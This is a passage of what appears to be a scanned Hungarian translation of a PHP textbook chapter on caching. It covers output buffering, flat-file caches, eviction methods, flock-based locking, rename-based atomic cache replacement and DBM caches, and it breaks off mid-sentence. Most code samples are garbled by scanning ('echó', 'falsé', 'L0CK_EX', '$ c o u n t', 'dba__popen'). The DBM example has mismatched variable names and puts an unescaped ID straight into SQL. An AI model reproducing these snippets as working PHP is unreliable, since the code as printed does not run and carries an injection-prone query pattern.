A gyorstárak helyes használatának első lépése annak meghatározása, mely adatösszetevők tárolhatók ilyen módon. Az alkalmazások elemzésénél jómagam az alábbi lista alapján tájékozódom, amely a könnyebben tárolható adatoktól a nehezebb esetek felé vezet: • Mely oldalak teljesen statikusak? Ha egy lap dinamikus, de teljesen statikus adatok alapján készül el, lényegében statikusnak tekinthető. • Mely oldalak statikusak elég hosszú ideig? Az „elég hosszú idő" persze meglehetősen megfoghatatlan fogalom - a legtöbb esetben itt napokra vagy órákra gondolunk. Vannak persze különleges esetek is - a www. cnn. com frissítése néhány percenként történik meg (világrengető eseményeknél percenként), ami a webhely forgalmához mérve „elég hosszú időnek" számít. • Mely adatok teljesen statikusak (például a hivatkozási táblák)? • Mely adatok statikusak „elég hosszú ideig"? Számos webhelyen a felhasználók adatai statikusak maradnak a látogatása alatt. A gyorstárak sikeres használatának titka a a gyorstárbeli találatok és a gyorstárbeli olvasási kísérletek hányadosa (angolul ezt hívják cache locality-nek; magyarul körülbelül gyorstárhatékonyság). Ha ez az arányszám nagy, az azt jelenti, hogy a keresett objektumokat általában megtaláljuk a gyorstárban, vagyis az elérés költsége csökken. Ha az érték kicsi, akkor gyakran fordult elő, hogy nem találtuk a keresett objektumot. Mindez azt jelenti, hogy alkalmazásunk teljesítménye nemhogy nőtt volna, hanem egyenesen csökkent.

Saját vagy előre elkészített osztályok - melyiket válasszuk?
A könyv eddigi fejezeteiben megpróbáltuk lehetőség szerint kihasználni a PEAR-ben meglevő megvalósításokat. Nos, jómagam soha nem szerettem újra feltalálni a kereket, és általában el lehet mondani, hogy a PEAR-ben megtalálható osztályok valóban képesek meg-

260

PHP fejlesztés felsőfokon

felelni a szélsőséges esetek kihívásainak is. A PEAR rendelkezik a gyorstárak működtetéséhez szükséges osztályokkal (Cache és Cache_Lite), mindazonáltal én szinte mindig saját osztályokkal dolgozom -és ennek három oka is van: • Testreszabhatóság - A gyorstárak optimális megvalósításának titka, hogy kihasználjuk az alkalmazás minden olyan lehetőségét, ahol a gyorstár használata lehetséges. Mindezt nem lehet egy „fekete doboz" típusú programmal megoldani, de még az előre összeállított programcsomagokkal is nehéz dolgunk volna. • Hatékonyság - Fontos, hogy a gyorstár kezelésének kódja a lehető legkevesebb fölös terhelést rója a rendszerre. Ha valamit tényleg az alapoktól kezdünk megírni, biztosíthatjuk, hogy tényleg csak azt tegye, amit várunk tőle. • Fenntarthatóság - A gyorstárak megvalósításainak hibái nehezen előre látható és azonosítható működési zavarokat okozhatnak. így például egy adatbázis-lekérdezés gyorstárának meghibásodása érvénytelen adatokat eredményezhet. Minél jobban megértjük a gyorstár kezelésének részleteit, annál könnyebben megy majd bennük a hibakeresés. Mindez persze lehetséges a PEAR könyvtárakban is, de tapasztalatom szerint saját kóddal sokkal könnyebb boldogulni.

Okos „fekete doboz" megoldások

Létezik a piacon néhány intelligens gyorstárkezelő „készülék" a Network Appliance, az IBM és a Cisco forgalmazásában. Jóllehet ezek a programok egyre okosabbak és okosabbak lesznek, jómagam mindig némi bizalmatlansággal tekintek rájuk, mivel nem hiszem, hogy az „okosság" pótolni tudja az alkalmazás szerkezetének ismeretét. Ezek a programok azonban nagyszerűen megfelelnek a fordított helyettes gyorstárak helyett, melyekről a 9. fejezetben szóltunk.

A 4-es változattól a PHP támogatja az átmeneti kimenettárolást, vagyis azt az eljárást, melyben a kimenet egy átmeneti tárba kerül, és nem közvetlenül az ügyfélhez. A 9- fejezetben megvizsgáltuk, miként használható ez a lehetőség a hálózati teljesítmény növelésére (amikor az átvitt adatokat kevesebb csomagra bontottuk, és ezekre tömörítést alkalmaztunk). Fejezetünkben arról szólunk, hogyan alkalmazhatunk hasonló módszereket a kiszolgáló oldali gyorstárakba kerülő tartalomra. Ha egy program kimenetét el szeretnénk fogni a kimenettárolást megelőzően, akkor egy karakterláncba kell helyeznünk, és ha kész, kiírnunk a képernyőre:
<?php $OUtput = "<HTMLxBODY>"; $output .= "Today is " .strftime("%A, %B %e %Y"); $OUtput .= "</BODY></HTML>";

10. fejezet • Adatösszetevők átmeneti tárolása

261

echó $output; cache($output); ?> Aki még Perl alapú CGI programokkal tanulta a webprogramozást, valószínűleg beleborzong e sorok látványába. Akinek nincs ilyen tapasztalata, kísérletet tehet arra, hogy elképzelje, milyen is lehetett az a korszak, amikor a webes programok így néztek ki. A kimenettárolással a program ismét emberi alakot ölt. Mindössze annyit kell tennünk, hogy az oldal előállítása elé beszúrjuk az alábbi sort: <?php ob_start(); ?>

Ez bekapcsolja a kimenettárolást, következésképpen a rendszer a kimenetet egy belső átmeneti tárban tárolja. Ezek után következhet az oldal kódja a megszokott alakban:
<HTML> <BODY> Today is <?= strftime("%A, %B %e %Y") ?> </BODY> </HTML>

Ha a tartalom elkészült, kiürítjük a tárat:
<?php $output = ob_get_contents() ; ob_end_flush(); cache($output); ?>

Az ob_get_contents () a kimeneti tár tartalmát egy karakterlánc alakjában adja vissza, mellyel ezek után azt teszünk, amit csak szeretnénk. Az ob_end_f lush () leállítja az átmeneti tárolást, és a tár tartalmát elküldi az ügyfélnek. Ha a tartalmat csak a karakterlánc alakjában szeretnénk látni, és nem kívánjuk elküldeni az ügyfélnek, a tárolás befejezésénél az ob_end_clean () függvényt hívjuk meg, amely leállítja a tárolást, és egyszerűen törli a tár tartalmát. Fontos megjegyeznünk, hogy mind az ob_end_f lush (), mind az ob_end_clean () megsemmisíti a tárat, miután végzett a feladatával. Ha tehát a tár tartalmát meg szeretnénk őrizni, mindenképpen használnunk kell az ob_get_contents () függvényt. A kimenettárolás hatékony módszer.

262

PHP fejlesztés felsőfokon

Kimenettárolás a header() és a setcookieQ függvénnyel

A kimenettárolás számos megvalósításában előfordul, hogy az oldal szövege után fejléceket is át kell küldeni. Hagyományos esetben ezt így tennénk:
<?php

echó "Hello World"; header("Content-Type: text/plain"); ?> Sajnos azonban itt hibaüzenetet kapunk: Cannot add header informátion - headers already sent Magyarul: A fejlécadatok nem csatolhatok - a fejlécek küldése már megtörtént. A HTTP válaszokban a fejléceknek az üzenet elejére kell kerülniük, minden más tartalom elé (amint azt nevük is mutatja). Mivel a PHP alapértelmezésben azonnal elküldi a előállított tartalmat, ha a fejléceket az oldal szövege után küldjük el, hibaüzenetet kapunk. Ha azonban tárolást használunk a kimeneten, a válasz törzsének átküldése csak a f lush () utasítással történik meg, így a fejlécek a szöveggel együtt érkeznek meg. Következésképpen az alábbi kód jól működik: <?php ob_start(); echó "Hello World"; header("Content-Type: text/plain"); ob_end_flush();
?>

Mindez azonban inkább rossz programozási szokás, semmint a kimenettárolás előnyeinek bemutatása. Ha megszokjuk, hogy a fejléceket az előállított tartalom után küldjük át, ezzel minden további kódot kimenettárolásra szorítunk, az ilyen szükségtelen szigorítások pedig nem használnak alkalmazásainknak.

10. fejezet • Adatösszetevők átmeneti tárolása

263

Gyorstárak a memóriában
A szálak, illetve a folyamathívások közti erőforrás-megosztás megszokott lehet azok számára, akik Java nyelven, illetve mod__per l-ben programoznak. A PHP-ban azonban a felhasználói adatszerkezetek megsemmisülnek a kérelem lezárásakor. Ez azt jelenti, hogy az erőforrásokon (például állandó adatbázis-kapcsolatokon) kívül minden általunk készített objektum elérhetetlenné válik a következő kérelmek kezelésénél. Jóllehet ez a hiányosság sok tekintetben hátrányosnak tekinthető, az a következménye mindenképpen megvan, hogy hihetetlenül jól elválasztja az egyes kérelmek kezelését - ezek ugyanis semmilyen hatással nem lehetnek egymásra. A más nyelvekben biztosított maradandóság hátránya, hogy - mint a mod_perl-ben - elképzelhető, hogy visszafordíthatatlanul elrontunk valamit, ami tönkreteheti a következő kérelmek kiszolgálását, illetve a hibás kezdőértékkel ellátott változók nem várt értékeket vehetnek fel. A PHP-ben ilyen gondok gyakorlatilag nem merülhetnek fel - a programok értelmezése mindig tiszta lappal indul.

Gyorstárak szerkezet nélküli fájlokban
Ezek a gyorstárak „lapos fájlokat" (szerkezet nélküli fájlokat) használnak a felhasználói adatok tárolására. A tárolás folyamatában az adatok bekerülnek a fájlba, amikor pedig szükség van az adatokra, a program beolvassa (többnyire a teljes) fájlt. Egyszerű példát adhat erre a módszerre egy oldal híranyagának tárolása. Az ilyen oldalakat először érdemes beemelt állományok segítségével összetevőkre osztani. A fájl alapú gyorstárak különösen jól használhatók olyan alkalmazásoknál, melyek egyszerűen az include () -ot használják a tárolófájlon, vagy közvetlenül fájlként használják. Jóllehet elképzelhető, hogy egyes változókat vagy objektumokat tároljunk fájl alapú gyorstárakban, nem ez az a felhasználási terület, ahol e módszert a leghatékonyabban kihasználhatjuk.

A gyorstár méretének fenntartása
Ha minden tárolt elemet külön fájlba helyezünk, nemcsak nagy lemezterület felhasználására számíthatunk, de egyúttal rengeteg fájlt is kapunk. Sok fájlrendszer (köztük a Linux ext2 és ext3 fájlrendszere) igen gyengén teljesít, ha egy könyvtárban túlzottan sok fájl halmozódik fel. Ha egy fájl alapú gyorstár kezd kezelhetetlenül naggyá válni, érdemes többrétegű megoldások után nézni, hogy a könyvtárban levő fájlok számát korlátozhassuk. Ezt a módszert gyakran alkalmazzák levélkiszolgálók esetében nagy tárak kezelésére, de más tárolási helyzetekre is könnyen átvihető. Mindazonáltal nem szabad, hogy a kisméretű gyorstár ideálja meggátoljon döntéseinkben. Jóllehet a kis gyorstárak általában gyorsabbak a nagyoknál, amíg a gyorstárral ellátott alkalmazás hatékonyabb (a fenntartást is beleértve) a gyorstár nélküli változatnál, semmilyen megoldást nem szabad elvetnünk. Fejezetünk későbbi részében látunk majd egy példát, melyben egy több gigabájtos gyorstár használata is jelentős teljesítménynövekedést

264

PHP fejlesztés felsőfokon

eredményez. A folyamatok közti adatcsere hiányában nehéz a gyorstárak ürítésének „legrégebben használt" (last recently used - LRU) módszerét alkalmazni (mivel nem tudjuk számon tartani, milyen gyakorisággal érik el fájljainkat). A kiürítésre az alábbi lehetőségeink vannak: • LRU - A legrégebben használt gyorstár-fájlokat felkutathatjuk az elérési idő vizsgálatával (ezt a stat () által visszaadott szerkezet atime mezője adja meg). A rendszergazdák azonban gyakran letiltják az elérési idők frissítését, hogy csökkentsék a lemezre írások számát valamilyen sokat olvasó alkalmazásnál (és így növeljék a lemez teljesítményét). Ilyenkor természetesen az elérési időre alapozott LRU nem használható. Ráadásul a gyorstár könyvtárszerkezetének végigolvasása, és a stat () függvény többszöri hívása egyre lassabb, ahogy a fájlok száma és a gyorstár kihasználtsága nő. • FIFO - A FIFO (First in, first out; az első bejövő elem feldolgozása történik először) módszer alkalmazásához használhatjuk a módosítás idejét (a stat () által visszaadott szerkezet mtime mezője), így sorba rendezetjük a fájlokat legutóbbi frissítésük ideje szerint. Ez a módszer persze az előzőhöz hasonlóan szenved a stat () használatának lassúságától. • Véletlenszerű kiürítés -Jóllehet ez a módszer túlzottan egyszerűnek tűnhet, sok esetben a teljes gyorstár, illetve egy részletének eltávolítása meglepően egyszerű és hatékony módot adhat a gyorstár méretének fenntartására. Ez különösen a nagy gyorstáraknál igaz, ahol a karbantartó műveletekre ritkán kerül sor, és a teljes gyorstár végigböngészése nagyon költséges volna. Valószínűleg ez a gyorstárak ürítésének leggyakrabban alkalmazott módszere. A gyorstárak megvalósításánál általában rendelkezünk egyedi információkkal a tárolni kívánt adatokról, e tudás kihasználásával pedig jobb adatkezelést valósíthatunk meg. Sajnos persze ez azt is jelenti, hogy nem létezik „igazi" módszer a gyorstárak kezelésére.

A gyorstárak egyidejű használata és összhangja
Fájljainkat több folyamat is olvashatja egyszerre mindenféle kockázat nélkül, ha azonban olvasás közben írás is történik, nagy gondokkal kerülhetünk szembe. Ahhoz persze, hogy megértsük, pontosan milyen veszélyekről van itt szó, előbb meg kell ismerkednünk a fájlrendszerek működésével. A fájlrendszer valójában egy fa, ami ágakból (könyvtárak) és levelekből (fájlok) áll. Ha az fopen( "/path/to/f ile.php", $mode) utasítással megnyitunk egy fájlt, az operációs rendszer végighalad a megadott útvonalon. A gyökérkönyvtártól indul, megnyitja, majd megvizsgálja a tartalmát. A könyvtár valójában egy táblázat, ami fájlok és könyvtárak neveit tartalmazza, valamint a hozzájuk tartozó leíró csomópontokat (inode). A fájlnévhez tartozó leíró csomópont a fájl fizikai helyét mutatja a lemezen. Ez egy fontos apróság: a fájlnév nem fordítható le közvetlenül fizikai helyre - a hozzá tartozó leíró csomópont

10. fejezet • Adatösszetevők átmeneti tárolása

265

adja meg a tárolás helyét. Ha megnyitunk egy fájlt, egy fájlmutatót kapunk vissza - ezt az operációs rendszer összeköti a fájl leíró csomópontjával, így végül tudja, hol találja meg az adatokat a lemezen. Itt ismét felhívjuk a figyelmet egy fontos apróságra: az f open () alkalmazása után kapott fájlmutató a leíró csomópontra vonatkozó adatokat tartalmaz nem a fájlnévre. Ha a fájlunkon csak írási és olvasási műveleteket végzünk, akkor az a gyorstár, amelyik figyelmen kívül hagyja ezt az apróságot, úgy viselkedik, ahogy vártuk - egyedüli tárként az adott fájlhoz. Ez veszélyes lehet, hiszen ha éppen akkor írunk a fájlba, amikor olvasási műveletet is végzünk (mondjuk egy másik folyamatban), elképzelhető, hogy részben az új, részben a régi fájl tartalmához jutunk hozzá. Természetesen ez hibás adatokat eredményez. Lássunk egy példát arra, hogyan is próbálhatunk gyorstárat alkalmazni egy oldal tartalmára:
<?

if(file_exists("first.cache")) { include("first.cache"); return; } else { // fájl megnyitása 'w' módban, csonkolva az íráshoz $cachefp = fopen("first.cache", "w"); ob_start(); } ?> <HTML> <BODY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ?> </B0DY> </HTML> <? if( $cachefp) { $file = ob_get_contents() ; fwrite($cachefp, $file); ob_end_flush(); } ?>

A felmerülő gondokat a 10.1. ábra mutatja. Láthatjuk, hogy a párhuzamosan végzett írás és olvasás felveti a hibás adatok megjelenésének lehetőségét.

266

PHP fejlesztés felsőfokon

A megoldásra két módszer ismeretes: használhatunk fájlzárakat vagy fájlváltókat. A fájlzárak (filé lock) használata egyszerű de hatékony módszert ad a fájlok elérésének szabályozására. Két típusuk létezik - lehetnek kötelezőek (mandatory) és javasoltak (advisory). Az előbbieket az operációs rendszer magja érvényesíti, letiltva a reád (), illetve wri te () hívásokat a zárolt fájlhoz. A kötelező zárak nem szerepelnek a POSIX szabványai között, és a BSD fájlzárolási szabványában sem találhatjuk meg őket - megvalósításuk igen változatos a különböző rendszerekben. A kötelező zárakra ritkán - ha egyáltalán valamikor - van égető szükség. Mivel azonban itt magunk valósíthatjuk meg a gyorstár fájljait kezelő folyamatokat, biztosíthatjuk, hogy viselkedésük megfelelő legyen. A javasolt zárakkal két alakban találkozhatunk: • f lock - Az f lock, amely a BSD 4.2-es változatában jelent meg, képes teljes fájlok osztott (olvasás) és kizárólagos (írás) zárolására.

10. fejezet • Adatösszetevők átmeneti tárolása

267

fenti - Az fenti, amely a POSIX szabvány része, képes fájlok részeinek osztott vagy kizárólagos zárolására (ez azt jelenti, hogy meghatározott bájtsorozatokat zárolhatunk, ami különösen adatbázisoknál vagy olyan alkalmazásoknál lehet hasznunkra, ahol szeretnénk lehetővé tenni, hogy a folyamatok egyszerre a fájl több részét módosítsák).

Mindkét módszer fontos alaptulajdonsága, hogy ha egy folyamat kilép, az általa fenntartott zárak is megszűnnek. Ez azt jelenti, hogy ha egy zárat fenntartó folyamatban valamilyen hiba következik be (például a webkiszolgáló futó folyamata szegmentációs hibát okoz), a rendszer feloldja a zárat, ami megvéd a holtpont kialakulásától. A PHP a teljes fájlok zárolásánál az f lock () alkalmazása mellett döntött. A sors fura fintoraként a legtöbb rendszer ezt az fenti segítségével valósítja meg. De lássunk most egy példát, miként alkalmazhatunk gyorstárat a fájlzárolás lehetőségeit kihasználva:
<?php $file = $_SERVER['PHP_SELF']; $cachefile = "$file.cache"; $lockfp = @fopen($cachefile, "a"); if (filesize($cachefile) && flock($lockfp, LOCK_SH I LOCK_NB)) { readfile($cachefile) ; flock($lockfp, LOCK_UN); exit ; } else if (flock($lockfp, L0CK_EX | LOCK_NB)) { $cachefp = fopen($cachefile, "w"); ob_start(); } ?> <HTML> <B0DY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ?> </BODY> </HTML> <? if( $cachefp) { $file = ob_get_contents(); fwrite($cachefp, $file); fclose($cachefp); flock($lockfp, LOCK_SH | LOCK_NB); ob_end_flush(); } fclose($lockfp); ?>

268

PHP fejlesztés felsőfokon

Elsőre kissé zavaros lehet a kép, így hát nézzük meg lépésenként, mi is történik itt. Először megnyitjuk a gyorstárfájlt hozzáfűzési módban (a, append), és alkalmazunk rá egy nem blokkoló osztott zárat. A nem blokkoló (LOCK_NB) azt jelenti, hogy a vezérlés azonnal visszakerül az eredeti programhoz, ha a zárolás nem lehetséges. Ha ezt a beállítást nem adjuk meg, a program addig vár ezen a ponton, míg a zárolás lehetséges nem lesz. Az osztott zár (LOCK_SH) azt jelenti, hogy a zárat meg szeretnénk osztani más folyamatokkal, melyek szintén a LOCK_SH beállítást használják. A kizárólagos zár (LOCK_EX) ellenben lehetetlenné teszi, hogy más zárat - legyen az osztott vagy kizárólagos - alkalmazzanak a fájlra vele egyidejűleg. A kizárólagos zárakat írásnál kell alkalmaznunk (hacsak jelentős óvintézkedéseket nem teszünk), hiszen veszélyes helyzeteket teremthet, ha több folyamat egyszerre írhat egy fájlba, illetve ha írás közben egy másik folyamat olvashat. Amennyiben a gyorstárfájl hossza nem nulla, és a zárolás sikeres, meghívhatjuk a readf ile függvényt, mellyel kiolvashatjuk a fájl tartalmát. De alkalmazhatjuk az include () -ot is, mellyel bármilyen, a fájlban levő literális PHP kódot végrehajthatunk. (A readf ile ezt csak a kimeneti tárba írja.) Elképzelhető persze, hogy a közvetlen futtatás nem megfelelő módszer. Itt a biztonsági játék mellett döntünk, és a readf il e-t használjuk. Amennyiben az előző feltétel nem teljesül, kizárólagos zárat alkalmazunk a fájlra. Ha már ide kerültünk, alkalmazhatunk nem blokkoló zárolást. Ha végre sikerrel jártunk, megnyithatjuk a fájlt írásra és kezdhetjük a kimenettárolást. Miután elkészültünk a kérelemmel, a kimenettárat a gyorstárfájlba írhatjuk. Ha sem az osztott olvasással, sem a kizárólagos írással nem jártunk sikerrel, egyszerűen készítsük el az oldalt és lépjünk ki. A javasolt fájlzárak nagyszerűen működnek, de bizonyos esetekben használatuk ellen szól néhány érv: • Amennyiben fájljaink egy hálózati fájlrendszerben (Unix NFS) helyezkednek el, az f lock működése egyáltalán nem garantálható. • Egyes operációs rendszerek (köztük például a Windows) az f lock () -ot a folyamatok szintjén valósítják meg, így előfordulhat, hogy a többszálas alkalmazásokban a zárolás nem működik megfelelően a szálak között. (Ez a gond leginkább a Microsoft IIS webkiszolgálójának PHP SAPI-jával - ISAPI Server Abstraction API - kapcsolatban jelentkezik.) • Ha nem blokkoló zárat alkalmazunk, minden, a gyorstár írása közben érkező kérelem az oldal teljes dinamikus előállítását vonja maga után. Ha ez az előállítás költséges, az erőforrások kihasználásában a gyorstár minden frissítésénél egy „tüskét" kapunk. Amennyiben blokkoló zárolást alkalmazunk, csökkenthetjük a rendszer terhelését a frissítés alatt, de ilyenkor egy oldal előállítása alatt a többi oldal műveletei szünetelnek.

10. fejezet • Adatösszetevők átmeneti tárolása

269

• Ha közvetlenül a gyorstárfájlokba írunk, és egy váratlan esemény következik be (például az írást lebonyolító folyamat összeomlik, vagy kifut az időből), a fájl tartalma részlegessé válik. Sajnálatos módon a rendszer ezeket a részleges fájlokat is nyugodt lélekkel szolgáltatja (az olvasó folyamat nem tudhatja, hogy a feloldott zárolású fájl teljes-e), így a kapott oldal hibás lesz. • Elméletben egy javasolt zár feloldja a zárolást, ha az őt alkalmazó folyamat kilép. Nem egy operációs rendszer tartalmaz azonban olyan hibákat, melyek bizonyos, ritkán előálló helyzetekben meggátolják a zárak feloldását a folyamat elhalásakor. Számos PHP SÁPI (köztük a mod_php - vagyis a PHP futtatására szolgáló szabványos modul az Apache kiszolgálón) nem egykérelmes alapon működik. Ez azt jelenti, hogy ha egy kérelem lezárulásakor érvényben van egy zárolás, az mindaddig meg is marad, míg a programot futtató folyamat véget nem ér - vagyis órákig, vagy akár napokig. Mindez holtpontot eredményezhet. Személyesen még nem találkoztam ilyen hibákkal, de nem lehet mindenkinek ekkora szerencséje. A fájlváltók egy korábban említett apróságot használnak ki működésükhöz. Ha az unlink () függvényt alkalmazzuk egy fájlon, valójában a fájlnév-leíró csomópont megfeleltetést szüntetjük meg. A fájlnév tehát ezentúl nem létezik, de a hozzá kapcsolt tárterület érintetlen marad (egy ideig), és az ehhez tartozó leíró csomópont sem változik. A rendszer egészen addig nem osztja ki újra ezt a területet, míg minden, a leíróhoz kapcsolódó megnyitott fájlleírót (handlé) be nem zárunk. Ez azt is jelenti, hogy az unlink () alkalmazása alatt a fájlból olvasó folyamatok nem szakadnak meg - egyszerűen folytatják az eredeti fájl adatainak kiolvasását. Ha az utolsó olyan folyamat is lezárul, amely megnyitott leírót tart ezen a leíró csomóponton, a rendszer a hozzá tartozó tárterületet felszabadítja, lehetővé téve, hogy újra felhasználják. A fájl eltávolítása után megnyithatunk egy új fájlt ugyanazzal a névvel. A nevek egyezése ellenére az operációs rendszer ezt a fájlt nem a régi leíró csomóponthoz kapcsolja, hanem új tárterületet foglal a számára. Vagyis minden rendelkezésre áll ahhoz, hogy könnyedén megőrizzük az adatok épségét. A zárolási példát a fájlváltás módszerére átírni nem nehéz feladat:
<?php $cachefile = "{$_SERVER['PHP_SELF']}.cache" ; if(file_exists($cachefile)) { include($cachefile) ; return; } else { $cachefile_tmp = $cachefile.".".getmypid() ; $cachefp = fopen($cachefile_tmp, "w"); ob_start() ; }

270

PHP fejlesztés felsőfokon

?>

<HTML> <BODY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ? > </BODY> </HTML> <?php if( $cachefp) { $file = ob_get_contents(); fwrite($cachefp, $file); fclose($cachefp); rename($cachefile_tmp, $cachefile); ob_end_flush(); } ?>

Mivel soha nem írunk közvetlenül a gyorstárfájlba, tudhatjuk, hogy amennyiben létezik, teljes, így feltétel nélkül beágyazhatjuk. Ha a fájl nem létezik, magunknak kell elkészítenünk. Megnyitunk hát egy ideiglenes fájlt, melynek nevéhez hozzáfűzzük a folyamat azonosítóját: $cachefile_tmp = $cachefile.".".getmypid(); Adott időpontban csak egyetlen folyamat rendelkezhet a kérdéses azonosítóval, ami biztosítja a fájlnév egyediségét. (Ha mindezt az NFS-ben vagy más hálózati fájlrendszerben tesszük, szükség van további lépésekre - erről a fejezet későbbi részében szólunk.) Megnyitjuk saját ideiglenes fájlunkat, és bekapcsoljuk a kimenettárolást. Elkészítjük a teljes oldalt, kiírjuk a kimenettár tartalmát az ideiglenes gyorstárfájlba, és átnevezzük ezt az „igazi" gyorstárfájllá. Ha mindezt párhuzamosan több folyamat is megkísérli megtenni, az utolsó nyer - ami ez esetben nem okoz gondokat. Fontos, hogy az ideiglenes és a végső gyorstárfájl azonos fájlrendszerben legyen. Ilyenkor ugyanis a rename () függvény gyakorlatilag azonnal képes elvégezni a tartalom áthelyezését. Mindennek az a magyarázata, hogy nem történik másolás - a célfájl könyvtári bejegyzésébe egyszerűen bekerül a forrásfájl leíró csomópontja. Végeredményképpen tehát a rename () ilyenkor egy egyszerű magművelet. Ha azonban a rename () függvényt különböző fájlrendszerek között használjuk, a rendszernek fizikailag át kell másolnia a fájlt az egyikből a másikba. Azt pedig láthattuk a korábbiakban, hogy a gyorstárfájlok másolása nem veszélytelen dolog. A fent bemutatott módszer több szempontból is előnyös: • A szükséges kód rövidebb, és kevesebb rendszerhívást igényel (következésképpen gyorsabb).

10. fejezet • Adatösszetevők átmeneti tárolása

271

• Mivel közvetlenül soha nem módosítjuk a valódi gyorstárfájlt, lehetetlenné válik, hogy részleges vagy hibás állományt hozzunk létre. • Működik hálózati fájlrendszereken (némi trükközéssel). A módszer legnagyobb hátulütője, hogy az erőforrások felhasználásában továbbra is csúcsokat kapunk a gyorstárfájl újraírásánál. (Ha ez a fájl hiányzik, mindenki, aki hozzá akar férni, dinamikusan készíti el a tárolandó tartalmat egészen addig, míg valaki létre nem hoz egy friss tárolt változatot.) Mindazonáltal ügyes fogásokkal ez a probléma is kiküszöbölhető, amint a fejezet későbbi részében láthatjuk majd.

DBM alapú gyorstárak
A fejlesztők gyakran elfeledkeznek a DBM fájlokról, mint az adattárolás egyik lehetőségéről. E fájlformátum - melyet gyakran lenézően csak a „szegény ember adatbázisának" neveznek - hihetetlenül gyors elérést nyújt, lehetővé téve a nagysebességű egyidejű írási—olvasási műveleteket. A gyorstárak megvalósításában a DBM fájlok annyiban jobbak a szerkezet nélküli fájloknál, hogy eleve több adatforrás tartalmának tárolására tervezték őket (míg a szerkezet nélküli fájlokat leginkább egyetlen adathalmaz tárolására), ráadásul eleve alkalmasak az egyidejű elérés támogatására (egyébként ezt magunknak kell megvalósítanunk). A DBM fájlok használata akkor jó megoldás, ha adatainkat kulcs-érték párok alakjában kell tárolnunk (például egy adatbázis-lekérdezés eredményét). Más, a fejezetben bemutatott módszerekkel szemben itt ehhez nincs szükség különösebb erőfeszítésre. A PHP dba bővítménye általános felületet ad számos DBM könyvtárhoz, köztük az alábbiakhoz: • • • • dbm - Az eredeti Berkeley DB fájlillesztő. ndbm - A dbm egykor nagyszerű, mára elfeledett alternatívája. gdbm - A dbm GNU-változata. Sleepycat DB 2-4 változat - Nem tévesztendő össze az IBM DB2-vel - a dbm egy fejlettebb változata a Berkeley programozóitól. • cdb - Rögzített (nem frissíthető) adatbáziskönyvtár a Qmail-ről híres djb-től.

A felhasználói szerződésekről

Az eltérő lehetőségek mellett a könyvtárak más és más felhasználási szerződéssel is rendelkeznek. Az eredeti dbm, valamint az ndbm BSD alatt terjeszthető, a gdbm természetesen a GNU nyilvános felhasználási szerződés (GPL) alá tartozik, míg a Sleepycat könyvtárak terjesztését egy még szigorúbb GPL-szerű felhasználási szerződés korlátozza.

272

PHP fejlesztés felsőfokon

A szerződések különbségei nem igazán izgalmasak azok számára, akik csak szabadidejüket töltik a fejlesztéssel, a kereskedelmi forgalomra szánt alkalmazásoknál azonban az utolsó apró részletig meg kell értenünk a korlátozásokat. így például ha hivatkozunk egy könyvtárra, ami a GPL alá tartozik, lehetővé kell tennünk, hogy alkalmazásunk forráskódja minden vásárlónk számára elérhetővé váljon. A Sleepycat DB4 dbm-je esetében pedig külön felhasználási engedélyt kell vennünk kereskedelmi alkalmazás készítése esetén.

Próbáljuk ki, miként használhatunk egy DBM fájlt gyorstár megvalósítására. Tegyük fel, hogy egy nyilvántartási felületet készítünk reklámajánlatok számára. Minden ajánlat egyedi azonosítóval rendelkezik, és elkészítettük az alábbi függvényt: int showConversions(int promotionlD) A függvény megszámolja, hány különböző felhasználó iratkozott fel egy adott ajánlathoz. A függvény kódja a következő: function showConversion($promotionID) { $db = new DB_MySQL_Test ; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotionid = $promotionid")->fetch_assoc() ; return $row['cnt'];
}

Nos, ez a lekérdezés nem nevezhető szélsebesnek, különösen, ha a piackutatók folyamatosan újratöltik - érdemes tehát gyorstárat alkalmaznunk. Ezt közvetlenül a függvényben is megtehetjük, mindössze meg kell nyitnunk egy DBM fájlt, és amennyiben lehetőség van rá, inkább onnan kiolvasni az eredményt: function showConversion($promotionID) { $gdbm = dba__popen ("promotionCounter . dbm" , " c " , "gdbm"); i f ( ( $ c o u n t = dba_fetch($promotionid, $gdbm)) !== falsé) { return $count;
}

$db = new DB_MySQL_Test; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotionid = $promotionid"); dba_replace($promotion, $ r o w [ 0 ] , $gdbm); return $row['cnt'];
}

10. fejezet • Adatösszetevők átmeneti tárolása

273

A gyorstárak egyidejű elérése és összhangja
A DBM fájlok nagyszerű tulajdonsága, hogy eleve támogatják az egyidejű elérést. A zárolás pontos módja az éppen használatos háttérprogram belügye (vagy legalábbis nem válik láthatóvá a PHP felhasználók felé), de a biztonságos egyidejű elérés mindenképpen biztosított.

A tartalom érvénytelenítése és a gyorstárak karbantartása
A figyelmes olvasók bizonyára felfigyeltek arra, hogy egy súlyos hiba van a DBM alapú gyorstárak használatának módszerében. Nincs ugyanis eljárásunk, amely érvénytelenítené a tartalmat - a tárolt számok frissítése soha nem történik meg. Nos, ez persze felgyorsítja az eredmények visszaadását, de egyúttal használhatatlanná is teszi őket. Egy jó gyorstár jelenléte gyakorlatilag észrevehetetlen - vagy legalábbis nem feltűnő. A szerkezet nélküli fájlokkal megvalósított gyorstáraktól eltérően itt nem a fájlok frissítésének mikéntjében rejlik a nehézség, hiszen a dba_replace és a dba_insert függvények elvégzik helyettünk ezt a munkát. A gond ott van, hogy tudnunk kell arról, mikor kell egyáltalán frissítenünk. A DBM fájlok ugyanis nem tartalmazzák az egyes sorok módosításainak idejét, így egy adatról nem tudhatjuk, hogy egy másodperce vagy egy hete került a gyorstárba. Talán a legagyafúrtabb megoldás, mellyel e helyzet kezelése lehetséges, a valószínűségi megközelítés. Egyszerűen meg kell figyelnünk, milyen gyakorisággal kérik az adott adatot, és meg kell állapítanunk, átlagosan hány kérelem után kell érvényteleníteni. Ha például másodpercenként 10 kérelmet kapunk az adatot megjelenítő oldalra, és az adatokat 5 percig szeretnénk tárolni, a frissítéshez szükséges kérelmek számát az alábbi képlet szerint kaphatjuk meg: 5 perc x (60 másodperc/perc) x (10 kérelem/másodperc) = 3000 kérelem Egy globális elérésszámláló megosztása a folyamatok között meglehetősen kényelmetlen feladat, hiszen ehhez a DBM fájl minden sorához tárolni kellene az elérési időket. Ez nemcsak bonyolult, de lassú módszer is, hiszen így az időpontok tárolásához minden olvasásnál egyúttal írnunk is kellene a fájlba. Az 